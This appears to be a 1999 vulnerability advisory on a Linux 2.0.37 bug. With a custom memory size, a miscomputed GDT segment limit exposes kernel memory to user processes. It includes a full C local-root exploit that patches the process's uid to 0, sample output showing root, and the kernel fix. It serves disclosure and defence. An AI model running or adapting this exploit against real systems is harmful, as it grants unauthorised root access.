COMMAND
kernel
SYSTEMS AFFECTED
Linux 2.0.37
PROBLEM
Solar Designer found following. Linux 2.0.37 released introduces
the support for more than 1 GB of physical memory on x86 (which
wasn't supported in earlier 2.0 kernels). It is now possible to
increase the limit, at the expense of reducing the per process
address space. There're three settings supported: Standard (1 GB
physical, plus 3 GB per process), Enterprise (2+2), and Custom
(lets one enter a value).
Unfortunately, there's a bug with filling in the lower 16 bits of
the "segment limit" field in the corresponding GDT descriptors.
Because of the bug, these bits are always set. As the limit is
encoded in pages (4 KB on x86), and has to be a multiple of 4 MB
because of the structure of page tables, the limit can be almost
252 MB off. It is important to note that with the Standard and
Enterprise memory configurations, the limit is encoded correctly,
as these bits should really be set: both 1 GB and 2 GB are
multiples of 256 MB. If you're using one of those, you're not
vulnerable. However, if you've chosen Custom for any reason
(such as, to match your actual physical memory size, following one
of the examples given in
linux/Documentation/more-than-900MB-RAM.txt, or just for the
extra diversity), then you are vulnerable.
The exploit (local root, can be extended to also reset
securelevel; will only compile with libc 5, you'd have to rip
task_struct out of <linux/sched.h> for compiling with glibc):
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
void die1()
{
puts("\nFailed: probably not vulnerable");
exit(1);
}
void die2()
{
puts("\nVulnerable, but failed to exploit");
exit(1);
}
int main()
{
int *sp = (int *)&sp;
int *d = sp;
struct task_struct *task = (struct task_struct *)sp;
int pid, uid;
struct rlimit old, new;
setbuf(stdout, NULL);
printf("Searching for the descriptor... ");
signal(SIGSEGV, die1);
while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
(d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;
signal(SIGSEGV, die2);
printf("found at %p\nExtending its limit... ", d + 2);
d[2] |= 0xF0000;
printf("done\nSearching for task_struct... ");
pid = getpid();
uid = getuid();
if (getrlimit(RLIMIT_FSIZE, &old)) {
perror("getrlimit");
return 1;
}
search:
new = old; new.rlim_cur--;
if (setrlimit(RLIMIT_FSIZE, &new))
new.rlim_cur = old.rlim_cur;
do {
((int *)task)++;
} while (task->pid != pid || task->uid != uid);
if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;
if (setrlimit(RLIMIT_FSIZE, &old)) {
perror("setrlimit");
return 1;
}
if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;
printf("found at %p\nPatching the UID... ", task);
task->uid = 0;
setuid(0);
setgid(0);
setgroups(0, NULL);
puts("done");
execl("/usr/bin/id", "id", NULL);
return 1;
}
Its output, with CONFIG_MAX_MEMSIZE=1800 (the very first example
given in linux/Documentation/more-than-900MB-RAM.txt):
Searching for the descriptor... found at 0x8f9068ac
Extending its limit... done
Searching for task_struct... found at 0x9157d810
Patching the UID... done
uid=0(root) gid=0(root)
SOLUTION
Solar Designer fixed this vulnerability when updating his patch
for 2.0.37, and it's been out some time. He's also including
just the fix here. As usual, the patch is available at:
http://www.false.com/security/linux/
Just this one fix, so that you don't have to download anything or
apply the rest of his patch:
diff -urPX nopatch linux-2.0.37/arch/i386/config.in linux/arch/i386/config.in
--- linux-2.0.37/arch/i386/config.in Sun Jun 13 21:20:59 1999
+++ linux/arch/i386/config.in Tue Jun 22 08:07:33 1999
@@ -28,7 +28,7 @@
Custom CONFIG_MEM_SPECIAL" Standard
if [ "$CONFIG_MEM_SPECIAL" = "y" ]; then
- int ' Max physical memory in MB' CONFIG_MAX_MEMSIZE 1024
+ int ' Max physical memory in MB (must be a multiple of 4)' CONFIG_MAX_MEMSIZE 1024
fi
if [ "$CONFIG_MEM_ENT" = "y" ]; then
define_int CONFIG_MAX_MEMSIZE 2048
diff -urPX nopatch linux-2.0.37/arch/i386/kernel/head.S linux/arch/i386/kernel/head.S
--- linux-2.0.37/arch/i386/kernel/head.S Sun Jun 13 21:21:00 1999
+++ linux/arch/i386/kernel/head.S Tue Jun 22 06:37:49 1999
@@ -491,7 +491,7 @@
#define lower_seg(type,dpl,base,limit) \
(((base) & 0x0000ffff)<<16) | \
- ((limit) & 0x0ffff)
+ (((limit)>>12) & 0x0ffff)
#define x86_seg(type,dpl,base,limit) \
.long lower_seg(type,dpl,base,limit); \
diff -urPX nopatch linux-2.0.37/include/asm-i386/pgtable.h linux/include/asm-i386/pgtable.h
--- linux-2.0.37/include/asm-i386/pgtable.h Sun Jun 13 21:21:03 1999
+++ linux/include/asm-i386/pgtable.h Sat Jun 26 14:49:59 1999
@@ -210,6 +210,10 @@
* pgd entries used up by user/kernel:
*/
+#if CONFIG_MAX_MEMSIZE & 3
+#error Invalid max physical memory size requested
+#endif
+
#define USER_PGD_PTRS ((unsigned long)__PAGE_OFFSET >> PGDIR_SHIFT)
#define KERNEL_PGD_PTRS (PTRS_PER_PGD-USER_PGD_PTRS)
#define __USER_PGD_PTRS (__PAGE_OFFSET >> PGDIR_SHIFT)